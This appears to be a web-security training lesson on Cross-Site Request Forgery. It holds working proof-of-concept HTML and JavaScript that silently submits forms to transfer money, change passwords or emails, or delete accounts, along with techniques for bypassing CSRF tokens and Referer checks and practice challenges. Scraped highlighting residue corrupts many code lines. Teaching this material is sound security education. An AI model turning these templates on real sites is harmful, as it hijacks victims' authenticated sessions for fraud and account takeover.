Cross-Site Request Forgery (CSRF)

intermediate30 minWriteup

Forcing users to perform unwanted actions

Learning Objectives

  • Understand CSRF attacks
  • Craft CSRF exploits
  • Bypass CSRF protections
  • Chain CSRF with other vulnerabilities

Making Users Do Things They Never Asked For

Imagine you're logged into your bank. Now imagine clicking a link that looks harmless - maybe "cute cat pictures" - but behind the scenes, that link made your browser send a money transfer request to your bank. Your bank sees a valid request from your logged-in session and processes it. You just got robbed by a cat picture.

That's Cross-Site Request Forgery (CSRF or XSRF). The attacker doesn't steal your credentials - they make you use them unknowingly. It's like someone grabbing your hand while you're holding your credit card and making you tap it on their payment terminal.

CSRF is sometimes called a "one-click attack" or "session riding." It exploits the trust a website has in your browser. If you're logged in, your browser automatically sends cookies - and the server can't tell if you wanted to make that request or not.
CSRF attacks can change passwords, transfer money, modify account settings, or perform any action the victim is authorized to do. Only test on systems you own or have explicit permission to test.

How CSRF Actually Works

Let's break down the attack step by step:

CSRF Attack Flow

1
Victim Logs Into Target SiteUser visits bank.com and logs in. The browser stores a session cookie.
2
Victim Visits Malicious SiteWhile still logged into bank.com, user visits evil.com (maybe clicked a link in an email, forum post, or ad).
3
Malicious Site Makes Requestevil.com has hidden code that makes the victim's browser send a request to bank.com - like a fund transfer.
4
Browser Includes CookiesThe browser automatically attaches bank.com's session cookie to the request because it's going to bank.com.
5
Bank Processes RequestBank.com sees a valid request with valid session cookie. It has no way to know the user didn't intend to make this request.

A Concrete Example

html
1<!-- bank.com has this form for transfers -->
2<form action=606070;">#a5d6ff;">"https://bank.com/transfer" method="POST">
3 <input name=606070;">#a5d6ff;">"to" placeholder="Recipient">
4 <input name=606070;">#a5d6ff;">"amount" placeholder="Amount">
5 <button>Transfer</button>
6</form>
7 
8<!-- On evil.com, attacker puts this hidden form -->
9<form action=606070;">#a5d6ff;">"https://bank.com/transfer" method="POST" id="evilform">
10 <input type=606070;">#a5d6ff;">"hidden" name="to" value="attacker@evil.com">
11 <input type=606070;">#a5d6ff;">"hidden" name="amount" value="10000">
12</form>
13<script>document.getElementById(606070;">#a5d6ff;">'evilform').submit();</script>
14 
15<!-- When victim visits evil.com:
16 1. The page loads
17 2. JavaScript immediately submits the form
18 3. Browser sends POST to bank.com WITH the victim's cookies
19 4. Bank processes the transfer to attacker -->

CSRF Attack Vectors

There are several ways to make a victim's browser send requests:

1. Auto-Submitting Form

html
1<!-- Hidden form that submits automatically -->
2<body onload=606070;">#a5d6ff;">"document.forms[0].submit()">
3 <form action=606070;">#a5d6ff;">"https://target.com/action" method="POST">
4 <input type=606070;">#a5d6ff;">"hidden" name="param1" value="malicious_value">
5 <input type=606070;">#a5d6ff;">"hidden" name="param2" value="another_value">
6 </form>
7</body>

2. Image Tag (GET requests)

html
1<!-- For state-changing GET requests (bad practice but common) -->
2<img src=606070;">#a5d6ff;">"https://target.com/delete-account?confirm=yes" width="0" height="0">
3 
4<!-- The browser tries to load the 606070;">#a5d6ff;">"image", making a GET request
5 with the victim's cookies -->

3. XHR/Fetch (Limited by CORS)

javascript
1606070;">// JavaScript request - limited by CORS but can still work
2606070;">// for "simple requests" that don't trigger preflight
3fetch(606070;">#a5d6ff;">'https://target.com/api/change-email', {
4 method: 606070;">#a5d6ff;">'POST',
5 credentials: 606070;">#a5d6ff;">'include', // Send cookies
6 body: 606070;">#a5d6ff;">'email=attacker@evil.com',
7 headers: {
8 606070;">#a5d6ff;">'Content-Type': 'application/x-www-form-urlencoded'
9 }
10});
11 
12606070;">// Note: The attacker can't read the response (CORS blocks it)
13606070;">// But the request itself is still sent and processed!

4. Hidden Iframe

html
1<!-- Iframe that loads a page which auto-submits a form -->
2<iframe style=606070;">#a5d6ff;">"display:none" name="csrf_frame"></iframe>
3<form action=606070;">#a5d6ff;">"https://target.com/action" method="POST" target="csrf_frame">
4 <input type=606070;">#a5d6ff;">"hidden" name="action" value="delete_all">
5</form>
6<script>document.forms[0].submit();</script>
7 
8<!-- Form submits into hidden iframe, so no visible redirect -->
For GET-based CSRF, an image tag is the stealthiest method - it doesn't require JavaScript and can be embedded in emails, forum posts, or even image-hosting sites!

Identifying CSRF Vulnerabilities

Here's how to test for CSRF:

CSRF Testing Methodology

1
Find State-Changing FunctionalityLook for actions that change something: password changes, email updates, profile edits, money transfers, account deletion.
2
Capture the RequestUse Burp Suite or browser DevTools to see what request is sent when you perform the action legitimately.
3
Check for Anti-CSRF TokensLook for parameters like csrf_token, _token,authenticity_token. If none exist, it might be vulnerable.
4
Test Token ValidationIf a token exists, try:
  • Removing the token entirely
  • Using an empty token
  • Using a different user's token
  • Using an old/expired token
  • Changing one character of the token
5
Create PoCBuild an HTML page that makes the vulnerable request. Open it while logged into the target site to confirm the attack works.

What to Look For

http
1606070;"># Vulnerable: No CSRF token
2POST /change-password HTTP/1.1
3Host: target.com
4Cookie: session=abc123
5Content-Type: application/x-www-form-urlencoded
6 
7new_password=hacked123
8 
9606070;"># Protected: Has CSRF token
10POST /change-password HTTP/1.1
11Host: target.com
12Cookie: session=abc123
13Content-Type: application/x-www-form-urlencoded
14 
15new_password=safe123&csrf_token=8f3a9c...
16 
17606070;"># The csrf_token should be:
18606070;"># - Unique per session
19606070;"># - Unpredictable
20606070;"># - Validated on the server

CSRF Protection Bypass Techniques

Sometimes CSRF protections are implemented poorly:

Token Not Validated for All Methods

1606070;"># POST with token is protected
2POST /action HTTP/1.1
3csrf_token=abc123&data=value ✓ Token validated
4 
5606070;"># But what about changing to GET?
6GET /action?data=value HTTP/1.1
7606070;"># Token might not be checked for GET requests!

Token Validation Depends on Presence

1606070;"># If token is present, it's validated
2POST /action
3csrf_token=wrong123 ✗ Invalid token, rejected
4 
5606070;"># But if token is absent, server doesn't check
6POST /action
7data=value ✓ No token = no validation!

Token Not Tied to Session

1606070;"># Attacker gets their own valid token by visiting the site
2Attacker's token: abc123
3 
4606070;"># Uses it in CSRF attack against victim
5606070;"># If tokens aren't tied to specific sessions, this works!
6POST /victim-action
7csrf_token=abc123 ✓ Valid token, but belongs to attacker

Token in Cookie (Double Submit)

1606070;"># Some sites use "double submit" pattern:
2606070;"># Token in cookie AND in body must match
3 
4Cookie: csrf=abc123
5Body: csrf_token=abc123
6 
7606070;"># If attacker can set a cookie (via subdomain or CRLF injection):
8606070;"># They set their own cookie: csrf=evil123
9606070;"># And submit body: csrf_token=evil123
10606070;"># Both match, attack succeeds!

Referer Header Validation

1606070;"># Some sites check Referer header
2Referer: https:606070;">//trusted-site.com/page ✓ Allowed
3 
4606070;"># Bypass 1: Strip Referer entirely
5<meta name=606070;">#a5d6ff;">"referrer" content="no-referrer">
6 
7606070;"># Bypass 2: If validation is weak
8Referer: https:606070;">//trusted-site.com.attacker.com # Might pass
9Referer: https:606070;">//attacker.com/trusted-site.com # Might pass

Crafting a CSRF Proof of Concept

Here's a template for CSRF PoCs:

html
1<!DOCTYPE html>
2<html>
3<head>
4 <title>Totally Innocent Page</title>
5</head>
6<body>
7 <h1>Loading adorable kittens...</h1>
8 
9 <!-- Hidden CSRF form -->
10 <form id=606070;">#a5d6ff;">"csrf_form" action="https://target.com/change-email" method="POST" style="display:none;">
11 <input type=606070;">#a5d6ff;">"hidden" name="email" value="attacker@evil.com">
12 <!-- Add all required parameters -->
13 </form>
14 
15 <script>
16 606070;">// Automatically submit when page loads
17 document.getElementById(606070;">#a5d6ff;">'csrf_form').submit();
18 </script>
19 
20 <!-- For GET-based CSRF, simpler approach: -->
21 <!--
22 <img src=606070;">#a5d6ff;">"https://target.com/delete?id=123" style="display:none">
23 -->
24</body>
25</html>

Advanced: CSRF with JSON Body

html
1<!-- Some APIs expect JSON, which is harder to CSRF -->
2<!-- But if Content-Type isn't strictly checked... -->
3 
4<form action=606070;">#a5d6ff;">"https://api.target.com/action" method="POST" enctype="text/plain">
5 <input name=606070;">#a5d6ff;">'{"email":"attacker@evil.com","ignore":"' value='"}'>
6</form>
7 
8<!-- This sends:
9{606070;">#a5d6ff;">"email":"attacker@evil.com","ignore":"="}
10 
11The =} at the end might break JSON parsing, but some parsers are lenient -->
12 
13<!-- Alternative using fetch (if CORS allows): -->
14<script>
15 fetch(606070;">#a5d6ff;">'https://api.target.com/action', {
16 method: 606070;">#a5d6ff;">'POST',
17 credentials: 606070;">#a5d6ff;">'include',
18 headers: {606070;">#a5d6ff;">'Content-Type': 'application/json'},
19 body: JSON.stringify({email: 606070;">#a5d6ff;">'attacker@evil.com'})
20 });
21 606070;">// Note: This triggers CORS preflight, which usually blocks it
22</script>

Basic CSRF Attack

Challenge
🌱 easy

You've found a password change function on a website. The request looks like this: POST /api/change-password HTTP/1.1 Host: vulnerable-site.com Cookie: session=user_session_cookie Content-Type: application/x-www-form-urlencoded new_password=usersnewpassword&confirm_password=usersnewpassword There's no CSRF token. Create an HTML page that would change a victim's password to "hacked123" when they visit your malicious page.

Need a hint? (4 available)

Bypass Referer Check

Challenge
🔥 medium

A site has basic CSRF protection using Referer header validation. It checks that the Referer starts with "https://target.com". But you notice: - If there's no Referer header at all, the request succeeds - The validation only checks if Referer CONTAINS "target.com" Craft a CSRF attack that bypasses this protection.

Need a hint? (4 available)

CSRF Token Bypass

Challenge
🔥 medium

A website implements CSRF tokens. You notice: 1. Each user can get their own valid CSRF token by visiting any form 2. Tokens are not tied to sessions - your token works in other sessions You've obtained a valid token: "abc123def456" Design an attack that uses this token to change another user's email address. The endpoint is: POST /account/email Content-Type: application/x-www-form-urlencoded email=new@email.com&csrf_token=TOKEN_HERE

Need a hint? (3 available)

CSRF Knowledge Check
Question 1 of 5

What does CSRF stand for?

Key Takeaways

  • CSRF tricks users into making unwanted requests while authenticated
  • It exploits the browser's automatic inclusion of cookies
  • The attacker doesn't need to steal credentials - they use yours
  • Auto-submitting forms and image tags are common attack vectors
  • Anti-CSRF tokens, SameSite cookies, and Referer checking prevent it
  • Tokens must be tied to sessions to be effective
  • Test by removing, modifying, or reusing tokens to find weaknesses

Continue Learning